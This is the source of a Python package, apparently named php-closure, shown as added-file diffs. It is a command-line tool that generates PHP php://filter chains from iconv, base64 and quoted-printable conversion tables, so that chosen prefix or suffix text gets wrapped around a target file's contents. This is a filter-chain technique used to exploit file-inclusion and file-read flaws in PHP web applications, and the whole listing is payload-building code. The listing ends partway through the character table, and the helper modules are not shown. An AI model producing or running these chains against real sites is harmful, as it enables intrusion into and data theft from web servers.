php-closure 1.0.0__py3-none-any.whl

closure/classes/appender.py

@@ -0,0 +1,18 @@
+from dataclasses import dataclass
+
+from .filter_part import FilterPart
+from ..utils.chain_functions import iconv_multi_wrap
+
+
+@dataclass
+class Appender:
+    chain: FilterPart
+    bytes: bytes
+    required_padding: int
+
+    def extend(self, iconv_encodings, new_bytes):
+        return Appender(
+            iconv_multi_wrap(self.chain, *iconv_encodings),
+            new_bytes,
+            self.required_padding,
+        )

closure/classes/chain_builder.py

@@ -0,0 +1,161 @@
+from collections import deque
+
+from .appender import Appender
+from ..constants.appenders import APPENDERS
+from ..constants.operations import QPE, INFLATE_2, B64D, QPD, B64E, MULT_3, ANTI_MULT_3
+from ..constants.prependers import PREPENDERS
+
+PREAMBLE_CHAIN = B64E / MULT_3 / MULT_3 / B64E
+POSTAMBLE_CHAIN = B64D / ANTI_MULT_3 / ANTI_MULT_3
+
+QPE_SAFE_CHARS = b"\t !\"#$%&'()*+,-./0123456789:;<>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
+
+
+class ChainBuilder:
+    def __init__(self):
+        self.chain = PREAMBLE_CHAIN
+        self.length_mod_3 = 0
+        self.appended_base64_count = 0
+        self.is_clean = True
+
+        # Should stay the same and only change when bytes are appended since QPE of any unsafe byte, say '\xff' turns into
+        # '=FF' and now '=' is an unsafe byte
+        # Same with QPD: '=FF' -> '\xff' both 1 unsafe byte
+        self.non_qp_safe_count = 0
+
+        # Tracks how many bytes were encoded in each layer
+        self.qpe_stack = []
+
+        self.reinflate()
+
+    def qpe(self):
+        self.chain = self.chain / QPE
+        self.length_mod_3 = (self.length_mod_3 + self.non_qp_safe_count * 2) % 3
+        self.qpe_stack.append(self.non_qp_safe_count)
+
+    def qpd(self):
+        if len(self.qpe_stack) <= 0:
+            raise RuntimeError("Tried to QPD without previous QPE")
+
+        self.chain = self.chain / QPD
+        layer_encoded_count = self.qpe_stack.pop()
+        self.length_mod_3 = (self.length_mod_3 - layer_encoded_count * 2) % 3
+
+    def pad(self, target_padding: int):
+
+        # BFS queue stores: (current_length_mod_3, current_qpe_stack, path_of_operations)
+        queue = deque([(self.length_mod_3, self.qpe_stack.copy(), [])])
+        visited = set()
+
+        valid_path = None
+
+        while queue:
+            curr_mod, curr_stack, path = queue.popleft()
+
+            current_padding = (3 - curr_mod) % 3
+
+            if current_padding == target_padding and path and path[-1] is QPE:
+                valid_path = path
+                break
+
+            # State signature to avoid redundant paths in our search
+            state_sig = (curr_mod, tuple(curr_stack))
+            if state_sig in visited:
+                continue
+            visited.add(state_sig)
+
+            # Limit depth to 20 to prevent infinite loops on true deadlocks
+            if len(path) >= 20:
+                continue
+
+            next_mod_qpe = (curr_mod + self.non_qp_safe_count * 2) % 3
+            next_stack_qpe = curr_stack + [self.non_qp_safe_count]
+            queue.append((next_mod_qpe, next_stack_qpe, path + [QPE]))
+
+            if curr_stack:
+                popped = curr_stack[-1]
+                next_mod_qpd = (curr_mod - popped * 2) % 3
+                next_stack_qpd = curr_stack[:-1]
+                queue.append((next_mod_qpd, next_stack_qpd, path + [QPD]))
+
+        if valid_path is None:
+            raise RuntimeError(
+                f"Deadlock! Cannot reach padding {target_padding} ending in QPE. unsafe_count={self.non_qp_safe_count}, stack={self.qpe_stack}"
+            )
+
+        for op in valid_path:
+            if op is QPE:
+                self.qpe()
+            elif op is QPD:
+                self.qpd()
+
+        # Count how many "useful" lifelines we have in the stack (not a multiple of 3)
+        useful_items = sum(1 for x in self.qpe_stack if x % 3 != 0)
+
+        # If we currently have the ability to generate GOOD lifelines, we stock up!
+        if self.non_qp_safe_count % 3 != 0:
+            # We ensure we always have a hoard of at least 6 lifelines
+            while useful_items < 6:
+                # Doing EXACTLY 3 QPEs preserves the padding perfectly but restocks our stack.
+                for _ in range(3):
+                    self.qpe()
+                    valid_path.append(QPE)
+                useful_items += 3
+
+        return valid_path
+
+    def append(self, appender: Appender):
+        self.pad(appender.required_padding)
+        self.chain = self.chain / appender.chain
+        self.non_qp_safe_count += sum([1 if b not in QPE_SAFE_CHARS else 0 for b in appender.bytes])
+        self.length_mod_3 = (self.length_mod_3 + len(appender.bytes)) % 3
+        self.appended_base64_count += 1
+
+        self.is_clean = False
+
+    def append_seq(self, seq: str):
+        for i, c in enumerate(seq):
+            self.append(APPENDERS[c])
+
+    def prepend_seq(self, seq: str):
+        if len(seq) % 4 != 0:
+            raise ValueError(
+                f"seq: '{seq}' is of length {len(seq)} which is not a multiple of 4!\n"
+                f"pad the end with a character of your choosing and than pass it to this function"
+            )
+
+        # M is the shortest chain that preserves its own padding (9 added bytes % 3 = 0)
+        self.pad(APPENDERS["M"].required_padding)
+        for _ in range(len(seq)):
+            self.chain = self.chain / APPENDERS["M"].chain
+
+        self.cleanup()
+
+        for c in reversed(seq):
+            self.chain = self.chain / PREPENDERS[c] / B64D / B64E
+
+    def cleanup(self):
+        for _ in range(len(self.qpe_stack)):
+            self.qpe_stack.pop()
+            self.chain = self.chain / QPD
+        self.chain = self.chain / B64D / B64E
+
+        self.length_mod_3 = self.appended_base64_count % 3
+        self.non_qp_safe_count = 0
+
+        self.is_clean = True
+
+    def reinflate(self):
+        self.chain = self.chain / INFLATE_2 / QPE
+        self.non_qp_safe_count += 2
+        self.qpe_stack.append(2)
+
+        self.is_clean = False
+
+    def finalize(self):
+        if not self.is_clean:
+            self.cleanup()
+        self.chain = self.chain / POSTAMBLE_CHAIN
+
+    def construct_chain(self, file):
+        return f"php://filter/{str(self.chain)}/resource={file}"

closure/classes/filter_part.py

@@ -0,0 +1,49 @@
+class FilterPart:
+    def __init__(self, filter_steps):
+        if isinstance(filter_steps, str):
+            self.filter_steps = [filter_steps]
+        else:
+            self.filter_steps = list(filter_steps)
+
+    def __reversed__(self):
+        steps = self.filter_steps[::-1].copy()
+
+        iconv_prefix = "convert.iconv."
+        base64_prefix = "convert.base64-"
+
+        for i in range(len(steps)):
+            if steps[i].startswith(iconv_prefix):
+                parts = steps[i][len(iconv_prefix):].split(".")
+                x, y = parts
+                steps[i] = f"{iconv_prefix}{y}.{x}"
+            elif steps[i].startswith(base64_prefix):
+                operation = steps[i][len(base64_prefix):]
+                rev_operation = "decode" if operation == "encode" else "encode"
+                steps[i] = f"{base64_prefix}{rev_operation}"
+
+        return FilterPart(steps)
+
+    def __truediv__(self, other):
+        """
+        Overloads the / operator:
+        FilterPart / FilterPart -> merged FilterPart
+        FilterPart / str        -> wrapped + merged
+        """
+        if isinstance(other, str):
+            other = FilterPart([other])
+        elif not isinstance(other, FilterPart):
+            raise TypeError("Can only divide FilterPart by FilterPart or str")
+
+        return FilterPart(self.filter_steps + other.filter_steps)
+
+    def __mul__(self, other):
+        if not isinstance(other, int):
+            raise TypeError("Can only multiply FilterPart by int")
+
+        return FilterPart(self.filter_steps * other)
+
+    def __str__(self):
+        return "/".join(self.filter_steps)
+
+    def __repr__(self):
+        return f"FilterPart({self.filter_steps})"

closure/cli.py

@@ -0,0 +1,97 @@
+import argparse
+
+from .classes.chain_builder import ChainBuilder
+from .testing.run_php_filter import run_php_filter
+from .utils.string_functions import right_pad, prepare_injection_data, left_pad
+
+
+def generate_wrap_chain(file, prefix=None, suffix=None, pad_char=" "):
+    if prefix is None and suffix is None:
+        raise ValueError("Either 'prefix', 'suffix' or both must be specified.")
+
+    cb = ChainBuilder()
+
+    if suffix is not None:
+        suffix = left_pad(suffix, 4, pad_char)
+        append_seq = prepare_injection_data(suffix)
+        cb.append_seq(append_seq)
+
+    if prefix is not None:
+        prefix = right_pad(prefix, 4, pad_char)
+        prepend_seq = prepare_injection_data(prefix)
+        cb.prepend_seq(prepend_seq)
+
+    cb.finalize()
+
+    return cb.construct_chain(file)
+
+    
+def test_chain(chain: str):
+    print("\nResulting chain size:", len(chain))
+    result = run_php_filter(chain)
+    print("---- RESULT ----")
+    print(result.decode())
+    print("---- END ----")
+
+
+def output_result(chain: str, output_path: str):
+    if output_path is not None:
+        with open(output_path, "w") as f:
+            f.write(chain)
+        print("Chain written to:", output_path)
+    else:
+        print(chain)
+    print("\nResulting chain size:", len(chain))
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Closure - generate php filter chains to wrap file contents")
+
+    parser.add_argument("file", help="File to wrap")
+
+    parser.add_argument(
+        "-p",
+        "--prefix",
+        default=None,
+        help="Prefix to be prepended to the file contents",
+    )
+
+    parser.add_argument(
+        "-s",
+        "--suffix",
+        default=None,
+        help="Suffix to be appended to the file contents",
+    )
+
+    parser.add_argument(
+        "-c",
+        "--pad-char",
+        default=" ",
+        help="A character that will be used for padding after the prefix or before the suffix",
+    )
+
+    parser.add_argument(
+        "-o",
+        "--output",
+        default=None,
+        help="File path to write the chain to, if none specified, chain is written to stdout",
+    )
+
+    parser.add_argument(
+        "-t", "--test",
+        action="store_true",
+        help="Run the php filter chain in the local system to see the results (requires php to be installed)",
+    )
+
+    args = parser.parse_args()
+
+    chain = generate_wrap_chain(args.file, args.prefix, args.suffix, args.pad_char)
+
+    if args.test:
+        test_chain(chain)
+    else:
+        output_result(chain, args.output)
+
+
+if __name__ == "__main__":
+    main()

closure/constants/appenders.py

@@ -0,0 +1,120 @@
+from ..classes.appender import Appender
+from .operations import REMOVE_EQUAL, QPE, QPD
+from ..utils.chain_functions import b64_wrap, rot13_wrap
+
+BASE_APPENDERS = {
+    "5": Appender(b64_wrap(rot13_wrap(REMOVE_EQUAL)), b">5\r", required_padding=1),
+    "t": Appender(
+        QPE / QPE / QPE / b64_wrap(rot13_wrap(QPE / QPE) / REMOVE_EQUAL) / QPD / QPD / QPD,
+        b">\x00|t",
+        required_padding=1,
+    ),
+    "g": Appender(
+        rot13_wrap(QPE / QPE / QPE / b64_wrap(rot13_wrap(QPE / QPE) / REMOVE_EQUAL) / QPD / QPD / QPD),
+        b">\x00|g",
+        required_padding=1,
+    ),
+    "p": Appender(
+        QPE / QPE / QPE / b64_wrap(QPE / rot13_wrap(QPE) / REMOVE_EQUAL) / QPD / QPD / QPD,
+        b">\x00|p",
+        required_padding=1,
+    ),
+    "c": Appender(
+        rot13_wrap(QPE / QPE / QPE / b64_wrap(QPE / rot13_wrap(QPE) / REMOVE_EQUAL) / QPD / QPD / QPD),
+        b">\x00|c",
+        required_padding=1,
+    ),
+    "M": Appender(
+        b64_wrap(QPE / REMOVE_EQUAL),
+        b"\x0f\x80\x0fM\xc3\xf8\x00\xf4\xdc",
+        required_padding=2,
+    ),
+    "Z": Appender(
+        rot13_wrap(b64_wrap(QPE / REMOVE_EQUAL)),
+        b"\x0f\x80\x0fZ\xc3\xf8\x00\xf4\xdc",
+        required_padding=2,
+    ),
+}
+
+# TODO: Swap all convertors iconv encodings to their shortest alias
+APPENDERS = {
+    "+": BASE_APPENDERS["t"].extend(
+        [("CP870", "L2"), ("CP1149", "CP037"), ("L1", "1047"), ("L1", "CP273")],
+        b"+\x00\xbb\x8d",
+    ),
+    "/": BASE_APPENDERS["g"].extend(
+        [
+            ("CP273", "CP297"),
+            ("1047", "L1"),
+            ("CP870", "L2"),
+            ("CP870", "L2"),
+            ("1026", "L1"),
+        ],
+        b"\xd7\x00/\xf7",
+    ),
+    "0": BASE_APPENDERS["t"].extend([("CP870", "L2"), ("CP1142", "CP280"), ("L1", "1047")], b"0\x00|\xfd"),
+    "1": BASE_APPENDERS["Z"].extend(
+        [("L1", "IBM277"), ("L1", "CP280"), ("L1", "1047")],
+        b"\x0f|\x0f\xe9\x061\x00\xa2\xfc",
+    ),
+    "2": BASE_APPENDERS["p"].extend([("CP1149", "CP1142"), ("CP280", "L1"), ("1047", "L1")], b"\xc6\x00}2"),
+    "3": BASE_APPENDERS["c"].extend([("CP1399", "IBM-932"), ("1046", "CP9448")], b"\x7f\x00@3"),
+    "4": BASE_APPENDERS["t"].extend([("1047", "UTF-8"), ("CP1167", "CP1361")], b"\xde\xd2\xd94\x00@\xde\xe8\xdb\xa8"),
+    "5": BASE_APPENDERS["5"],
+    "6": BASE_APPENDERS["g"].extend([("CP4971", "IBM-932"), ("1046", "CP9448")], b"\x7f\x00@\xd36"),
+    "7": BASE_APPENDERS["g"].extend([("CP1399", "IBM-932"), ("1046", "CP9448")], b"\x7f\x00@7"),
+    "8": BASE_APPENDERS["p"].extend([("1047", "L1"), ("1026", "8859_1")], b"\xc6\x00 8"),
+    "9": BASE_APPENDERS["g"].extend([("CP4971", "UTF-8"), ("CP949", "CP1361")], b"\xd1\x9d\x00@\xe29"),
+    "A": BASE_APPENDERS["c"].extend([("CP1142", "ISO_6937")], b"\x9e\x00\xe9\xc8A"),
+    "B": BASE_APPENDERS["t"].extend([("CP1112", "ISO-8859-16"), ("8859_5", "IBM932")], b"\x7f\x00@\x84B"),
+    "C": BASE_APPENDERS["M"].extend([("8859_7", "CSIBM4971")], b"\x0f \x0f\xd4C\xbf\x00\xbb\xb1"),
+    "D": BASE_APPENDERS["Z"].extend([("CP1142", "IBM-1147")], b"\x0fD\x0f\x9f\xc3\xf8\x00\xf4\xbd"),
+    "E": BASE_APPENDERS["t"].extend([("CP1142", "ISO_6937")], b"\x9e\x00\xe9\xc1E"),
+    "F": BASE_APPENDERS["c"].extend([("CP1025", "CSIBM932")], b"\x7f\x00@\x84F"),
+    "G": BASE_APPENDERS["Z"].extend([("CP1141", "CSIBM1142")], b"\x0f|\x0f\xfc\xc3\xf8\x00\xf4G"),
+    "H": BASE_APPENDERS["t"].extend([("1026", "8859_9"), ("1026", "437")], b"\x92\x00\xa3H"),
+    "I": BASE_APPENDERS["p"].extend([("CP1142", "CSIBM284")], b">\x00\x80I"),
+    "J": BASE_APPENDERS["Z"].extend([("CP1081", "IBM278")], b"\x0f\x80\x0fJ\xc3\xf8\x00\xf4\xa1"),
+    "K": BASE_APPENDERS["t"].extend([("CP1149", "UTF-8"), ("CP949", "CP1361")], b"\xd1\x9d\x00\xd2K\xd1\xfc"),
+    "L": BASE_APPENDERS["t"].extend([("CP918", "IBM-1008"), ("8859_2", "CSIBM932")], b"\x7f\x00@\x81L"),
+    "M": BASE_APPENDERS["M"],
+    "N": BASE_APPENDERS["p"].extend([("CP4971", "IBM-932")], b"\x7f\x00@\x81N"),
+    "O": BASE_APPENDERS["g"].extend([("CP1122", "ISO6937")], b"\x9e\x00\xc8O$"),
+    "P": BASE_APPENDERS["t"].extend([("CP875", "IBM932"), ("864", "BIG5")], b"\x7f\x00@\xa1P\xa1\xd1"),
+    "Q": BASE_APPENDERS["Z"].extend([("500", "CSIBM1144")], b"\x0f\x80\x0fQ\xc3\xf8\x00\xf4\xdc"),
+    "R": BASE_APPENDERS["t"].extend([("CP1399", "IBM-932"), ("851", "CP950")], b"\x7f\x00@\xa3R"),
+    "S": BASE_APPENDERS["g"].extend([("CP12712", "IBM916"), ("857", "ISO6937")], b"\xcbS\x00@\xcb "),
+    "T": BASE_APPENDERS["Z"].extend([("CP1141", "CP280")], b"\x0f\x80\x0f\xfc\xc3\xf8\x00\xf4T"),
+    "U": BASE_APPENDERS["p"].extend([("CP1142", "CSIBM932")], b"\x7f\x00\x7f\xfaU"),
+    "V": BASE_APPENDERS["t"].extend([("CP1142", "UTF-8"), ("CP949", "CP1361")], b"\xd1\x9d\x00\xd2V\xd1\xfc"),
+    "W": BASE_APPENDERS["g"].extend([("CP1122", "UTF-8"), ("866", "CP932")], b"\x84\xa6\x84_\x00\x84\xa5\x84W$"),
+    "X": BASE_APPENDERS["Z"].extend([("CP1122", "CSIBM280")], b"\x0f\x80\x0f\x9f\xc3\xf8\x00\xf4X"),
+    "Y": BASE_APPENDERS["Z"].extend([("CP1122", "CSIBM273")], b"\x0f\x80\x0f\x9f\xc3\xf8\x00\xf4Y"),
+    "Z": BASE_APPENDERS["Z"],
+    "a": BASE_APPENDERS["p"].extend([("CP297", "ISO6937")], b"\x9e\x00\xc1a\xf9"),
+    "b": BASE_APPENDERS["c"].extend([("CP1390", "UTF-8")], b"\xc2\x9e\x00@b"),
+    "c": BASE_APPENDERS["c"],
+    "d": BASE_APPENDERS["M"].extend([("CP1008", "CP420")], b"\x0f \x0f\xd4d\xcd\x00\xbe\x9b"),
+    "e": BASE_APPENDERS["g"].extend([("CP1141", "CSIBM1142"), ("437", "CP936")], b">\x00\xa8e["),
+    "f": BASE_APPENDERS["g"].extend([("CP1390", "UTF-8")], b"\xc2\x9e\x00@f"),
+    "g": BASE_APPENDERS["g"],
+    "h": BASE_APPENDERS["g"].extend([("CP1142", "CSIBM285"), ("1026", "1047")], b">\x00\x80h"),
+    "i": BASE_APPENDERS["c"].extend([("CP1122", "CSIBM1145")], b">\x00\xeci"),
+    "j": BASE_APPENDERS["p"].extend([("CP1144", "CP1142")], b">\x00\xb5j"),
+    "k": BASE_APPENDERS["p"].extend([("CP1132", "CP1008")], b"\x9e\x00@k"),
+    "l": BASE_APPENDERS["t"].extend([("CP1390", "UTF-8")], b"\xc2\x9e\x00@l"),
+    "m": BASE_APPENDERS["g"].extend([("CP1399", "IBM-932"), ("MIK", "BIG5-HKSCS")], b"\x7f\x00@\xc8m"),
+    "n": BASE_APPENDERS["5"].extend([("8859_1", "CP273")], b"n\xf5\r"),
+    "o": BASE_APPENDERS["g"].extend([("CP1149", "IBM-1142"), ("CP737", "BIG5")], b">\x00\xa3o["),
+    "p": BASE_APPENDERS["p"],
+    "q": BASE_APPENDERS["t"].extend([("1047", "UTF-8"), ("CP1167", "IBM932")], b"\x84q\x7f\x00@\x84\x88\x84\xa6"),
+    "r": BASE_APPENDERS["g"].extend([("CP1122", "CSIBM1141"), ("8859_2", "TCVN")], b">\x00r\xb3["),
+    "s": BASE_APPENDERS["g"].extend([("CP1149", "IBM-1142"), ("855", "IBM-932")], b">\x00\x84s["),
+    "t": BASE_APPENDERS["t"],
+    "u": BASE_APPENDERS["t"].extend([("CP1144", "IBM932"), ("863", "ISO_6937")], b"\x7f\x00\xc8u\xa8\x7f"),
+    "v": BASE_APPENDERS["t"].extend([("1026", "8859_9"), ("CP10007", "CSIBM932")], b"\x84_\x00\x84v\x7f"),
+    "w": BASE_APPENDERS["t"].extend([("CP1025", "CP915"), ("CP1025", "CP932")], b"\x84\x80\x00 \x84w"),
+    "x": BASE_APPENDERS["g"].extend([("1047", "L1"), ("L2", "CP870")], b">\x00|x"),
+    "y": BASE_APPENDERS["Z"].extend([("CP280", "CP278")], b"\x0f\x80\x0fy\xc3\xf8\x00\xf4\xa1"),
+    "z": BASE_APPENDERS["p"].extend([("CP870", "L2"), ("CP870", "ISO6937")], b"\xce \x00 \xc2z"),
+}

closure/constants/operations.py

@@ -0,0 +1,12 @@
+from ..classes.filter_part import FilterPart
+
+B64E = FilterPart("convert.base64-encode")
+B64D = FilterPart("convert.base64-decode")
+REMOVE_EQUAL = FilterPart("convert.iconv.855.UTF7")
+QPE = FilterPart("convert.quoted-printable-encode")
+QPD = FilterPart("convert.quoted-printable-decode")
+ROT13 = FilterPart("string.rot13")
+
+MULT_3 = FilterPart(["convert.iconv.UTF-16LE.UTF8"])
+ANTI_MULT_3 = FilterPart(["convert.iconv.UTF8.UTF-16LE"])
+INFLATE_2 = "convert.iconv.UCS-2.UTF16"

closure/constants/prependers.py

@@ -0,0 +1,342 @@
+from ..classes.filter_part import FilterPart
+
+PREPENDERS = {
+    "0": FilterPart(
+        [
+            "convert.iconv.UTF8.UTF16LE",
+            "convert.iconv.UTF8.CSISO2022KR",
+            "convert.iconv.UCS2.UTF8",
+            "convert.iconv.8859_3.UCS2",
+        ]
+    ),
+    "1": FilterPart(
+        [
+            "convert.iconv.ISO88597.UTF16",
+            "convert.iconv.RK1048.UCS-4LE",
+            "convert.iconv.UTF32.CP1167",
+            "convert.iconv.CP9066.CSUCS4",
+        ]
+    ),
+    "2": FilterPart(
+        [
+            "convert.iconv.L5.UTF-32",
+            "convert.iconv.ISO88594.GB13000",
+            "convert.iconv.CP949.UTF32BE",
+            "convert.iconv.ISO_69372.CSIBM921",
+        ]
+    ),
+    "3": FilterPart(
+        [
+            "convert.iconv.L6.UNICODE",
+            "convert.iconv.CP1282.ISO-IR-90",
+            "convert.iconv.ISO6937.8859_4",
+            "convert.iconv.IBM868.UTF-16LE",
+        ]
+    ),
+    "4": FilterPart(
+        [
+            "convert.iconv.CP866.CSUNICODE",
+            "convert.iconv.CSISOLATIN5.ISO_6937-2",
+            "convert.iconv.CP950.UTF-16BE",
+        ]
+    ),
+    "5": FilterPart(
+        [
+            "convert.iconv.UTF8.UTF16LE",
+            "convert.iconv.UTF8.CSISO2022KR",
+            "convert.iconv.UTF16.EUCTW",
+            "convert.iconv.8859_3.UCS2",
+        ]
+    ),
+    "6": FilterPart(
+        [
+            "convert.iconv.INIS.UTF16",
+            "convert.iconv.CSIBM1133.IBM943",
+            "convert.iconv.CSIBM943.UCS4",
+            "convert.iconv.IBM866.UCS-2",
+        ]
+    ),
+    "7": FilterPart(
+        [
+            "convert.iconv.851.UTF-16",
+            "convert.iconv.L1.T.618BIT",
+            "convert.iconv.ISO-IR-103.850",
+            "convert.iconv.PT154.UCS4",
+        ]
+    ),
+    "8": FilterPart(["convert.iconv.ISO2022KR.UTF16", "convert.iconv.L6.UCS2"]),
+    "9": FilterPart(["convert.iconv.CSIBM1161.UNICODE", "convert.iconv.ISO-IR-156.JOHAB"]),
+    "A": FilterPart(["convert.iconv.8859_3.UTF16", "convert.iconv.863.SHIFT_JISX0213"]),
+    "a": FilterPart(
+        [
+            "convert.iconv.CP1046.UTF32",
+            "convert.iconv.L6.UCS-2",
+            "convert.iconv.UTF-16LE.T.61-8BIT",
+            "convert.iconv.865.UCS-4LE",
+        ]
+    ),
+    "B": FilterPart(["convert.iconv.CP861.UTF-16", "convert.iconv.L4.GB13000"]),
+    "b": FilterPart(
+        [
+            "convert.iconv.JS.UNICODE",
+            "convert.iconv.L4.UCS2",
+            "convert.iconv.UCS-2.OSF00030010",
+            "convert.iconv.CSIBM1008.UTF32BE",
+        ]
+    ),
+    "C": FilterPart(["convert.iconv.UTF8.CSISO2022KR"]),
+    "c": FilterPart(["convert.iconv.L4.UTF32", "convert.iconv.CP1250.UCS-2"]),
+    "D": FilterPart(
+        [
+            "convert.iconv.INIS.UTF16",
+            "convert.iconv.CSIBM1133.IBM943",
+            "convert.iconv.IBM932.SHIFT_JISX0213",
+        ]
+    ),
+    "d": FilterPart(
+        [
+            "convert.iconv.INIS.UTF16",
+            "convert.iconv.CSIBM1133.IBM943",
+            "convert.iconv.GBK.BIG5",
+        ]
+    ),
+    "E": FilterPart(["convert.iconv.IBM860.UTF16", "convert.iconv.ISO-IR-143.ISO2022CNEXT"]),
+    "e": FilterPart(
+        [
+            "convert.iconv.JS.UNICODE",
+            "convert.iconv.L4.UCS2",
+            "convert.iconv.UTF16.EUC-JP-MS",
+            "convert.iconv.ISO-8859-1.ISO_6937",
+        ]
+    ),
+    "F": FilterPart(
+        [
+            "convert.iconv.L5.UTF-32",
+            "convert.iconv.ISO88594.GB13000",
+            "convert.iconv.CP950.SHIFT_JISX0213",
+            "convert.iconv.UHC.JOHAB",
+        ]
+    ),
+    "f": FilterPart(["convert.iconv.CP367.UTF-16", "convert.iconv.CSIBM901.SHIFT_JISX0213"]),
+    "g": FilterPart(
+        [
+            "convert.iconv.SE2.UTF-16",
+            "convert.iconv.CSIBM921.NAPLPS",
+            "convert.iconv.855.CP936",
+            "convert.iconv.IBM-932.UTF-8",
+        ]
+    ),
+    "G": FilterPart(["convert.iconv.L6.UNICODE", "convert.iconv.CP1282.ISO-IR-90"]),
+    "H": FilterPart(["convert.iconv.CP1046.UTF16", "convert.iconv.ISO6937.SHIFT_JISX0213"]),
+    "h": FilterPart(
+        [
+            "convert.iconv.CSGB2312.UTF-32",
+            "convert.iconv.IBM-1161.IBM932",
+            "convert.iconv.GB13000.UTF16BE",
+            "convert.iconv.864.UTF-32LE",
+        ]
+    ),
+    "I": FilterPart(
+        [
+            "convert.iconv.L5.UTF-32",
+            "convert.iconv.ISO88594.GB13000",
+            "convert.iconv.BIG5.SHIFT_JISX0213",
+        ]
+    ),
+    "i": FilterPart(
+        [
+            "convert.iconv.DEC.UTF-16",
+            "convert.iconv.ISO8859-9.ISO_6937-2",
+            "convert.iconv.UTF16.GB13000",
+        ]
+    ),
+    "J": FilterPart(["convert.iconv.863.UNICODE", "convert.iconv.ISIRI3342.UCS4"]),
+    "j": FilterPart(
+        [
+            "convert.iconv.CP861.UTF-16",
+            "convert.iconv.L4.GB13000",
+            "convert.iconv.BIG5.JOHAB",
+            "convert.iconv.CP950.UTF16",
+        ]
+    ),
+    "K": FilterPart(["convert.iconv.863.UTF-16", "convert.iconv.ISO6937.UTF16LE"]),
+    "k": FilterPart(["convert.iconv.JS.UNICODE", "convert.iconv.L4.UCS2"]),
+    "L": FilterPart(
+        [
+            "convert.iconv.IBM869.UTF16",
+            "convert.iconv.L3.CSISO90",
+            "convert.iconv.R9.ISO6937",
+            "convert.iconv.OSF00010100.UHC",
+        ]
+    ),
+    "l": FilterPart(
+        [
+            "convert.iconv.CP-AR.UTF16",
+            "convert.iconv.8859_4.BIG5HKSCS",
+            "convert.iconv.MSCP1361.UTF-32LE",
+            "convert.iconv.IBM932.UCS-2BE",
+        ]
+    ),
+    "M": FilterPart(
+        [
+            "convert.iconv.CP869.UTF-32",
+            "convert.iconv.MACUK.UCS4",
+            "convert.iconv.UTF16BE.866",
+            "convert.iconv.MACUKRAINIAN.WCHAR_T",
+        ]
+    ),
+    "m": FilterPart(
+        [
+            "convert.iconv.SE2.UTF-16",
+            "convert.iconv.CSIBM921.NAPLPS",
+            "convert.iconv.CP1163.CSA_T500",
+            "convert.iconv.UCS-2.MSCP949",
+        ]
+    ),
+    "N": FilterPart(["convert.iconv.CP869.UTF-32", "convert.iconv.MACUK.UCS4"]),
+    "n": FilterPart(
+        [
+            "convert.iconv.ISO88594.UTF16",
+            "convert.iconv.IBM5347.UCS4",
+            "convert.iconv.UTF32BE.MS936",
+            "convert.iconv.OSF00010004.T.61",
+        ]
+    ),
+    "O": FilterPart(
+        [
+            "convert.iconv.CSA_T500.UTF-32",
+            "convert.iconv.CP857.ISO-2022-JP-3",
+            "convert.iconv.ISO2022JP2.CP775",
+        ]
+    ),
+    "o": FilterPart(
+        [
+            "convert.iconv.JS.UNICODE",
+            "convert.iconv.L4.UCS2",
+            "convert.iconv.UCS-4LE.OSF05010001",
+            "convert.iconv.IBM912.UTF-16LE",
+        ]
+    ),
+    "P": FilterPart(
+        [
+            "convert.iconv.SE2.UTF-16",
+            "convert.iconv.CSIBM1161.IBM-932",
+            "convert.iconv.MS932.MS936",
+            "convert.iconv.BIG5.JOHAB",
+        ]
+    ),
+    "p": FilterPart(
+        [
+            "convert.iconv.IBM891.CSUNICODE",
+            "convert.iconv.ISO8859-14.ISO6937",
+            "convert.iconv.BIG-FIVE.UCS-4",
+        ]
+    ),
+    "q": FilterPart(
+        [
+            "convert.iconv.SE2.UTF-16",
+            "convert.iconv.CSIBM1161.IBM-932",
+            "convert.iconv.GBK.CP932",
+            "convert.iconv.BIG5.UCS2",
+        ]
+    ),
+    "Q": FilterPart(
+        [
+            "convert.iconv.L6.UNICODE",
+            "convert.iconv.CP1282.ISO-IR-90",
+            "convert.iconv.CSA_T500-1983.UCS-2BE",
+            "convert.iconv.MIK.UCS2",
+        ]
+    ),
+    "R": FilterPart(
+        [
+            "convert.iconv.PT.UTF32",
+            "convert.iconv.KOI8-U.IBM-932",
+            "convert.iconv.SJIS.EUCJP-WIN",
+            "convert.iconv.L10.UCS4",
+        ]
+    ),
+    "r": FilterPart(
+        [
+            "convert.iconv.IBM869.UTF16",
+            "convert.iconv.L3.CSISO90",
+            "convert.iconv.ISO-IR-99.UCS-2BE",
+            "convert.iconv.L4.OSF00010101",
+        ]
+    ),
+    "S": FilterPart(
+        [
+            "convert.iconv.INIS.UTF16",
+            "convert.iconv.CSIBM1133.IBM943",
+            "convert.iconv.GBK.SJIS",
+        ]
+    ),
+    "s": FilterPart(["convert.iconv.IBM869.UTF16", "convert.iconv.L3.CSISO90"]),
+    "T": FilterPart(
+        [
+            "convert.iconv.L6.UNICODE",
+            "convert.iconv.CP1282.ISO-IR-90",
+            "convert.iconv.CSA_T500.L4",
+            "convert.iconv.ISO_8859-2.ISO-IR-103",
+        ]
+    ),
+    "t": FilterPart(["convert.iconv.864.UTF32", "convert.iconv.IBM912.NAPLPS"]),
+    "U": FilterPart(["convert.iconv.INIS.UTF16", "convert.iconv.CSIBM1133.IBM943"]),
+    "u": FilterPart(["convert.iconv.CP1162.UTF32", "convert.iconv.L4.T.61"]),
+    "V": FilterPart(
+        [
+            "convert.iconv.CP861.UTF-16",
+            "convert.iconv.L4.GB13000",
+            "convert.iconv.BIG5.JOHAB",
+        ]
+    ),
+    "v": FilterPart(
+        [
+            "convert.iconv.UTF8.UTF16LE",
+            "convert.iconv.UTF8.CSISO2022KR",
+            "convert.iconv.UTF16.EUCTW",
+            "convert.iconv.ISO-8859-14.UCS2",
+        ]
+    ),
+    "W": FilterPart(
+        [
+            "convert.iconv.SE2.UTF-16",
+            "convert.iconv.CSIBM1161.IBM-932",
+            "convert.iconv.MS932.MS936",
+        ]
+    ),
+    "w": FilterPart(["convert.iconv.MAC.UTF16", "convert.iconv.L8.UTF16BE"]),
+    "X": FilterPart(["convert.iconv.PT.UTF32", "convert.iconv.KOI8-U.IBM-932"]),
+    "x": FilterPart(["convert.iconv.CP-AR.UTF16", "convert.iconv.8859_4.BIG5HKSCS"]),
+    "Y": FilterPart(
+        [
+            "convert.iconv.CP367.UTF-16",
+            "convert.iconv.CSIBM901.SHIFT_JISX0213",
+            "convert.iconv.UHC.CP1361",
+        ]
+    ),
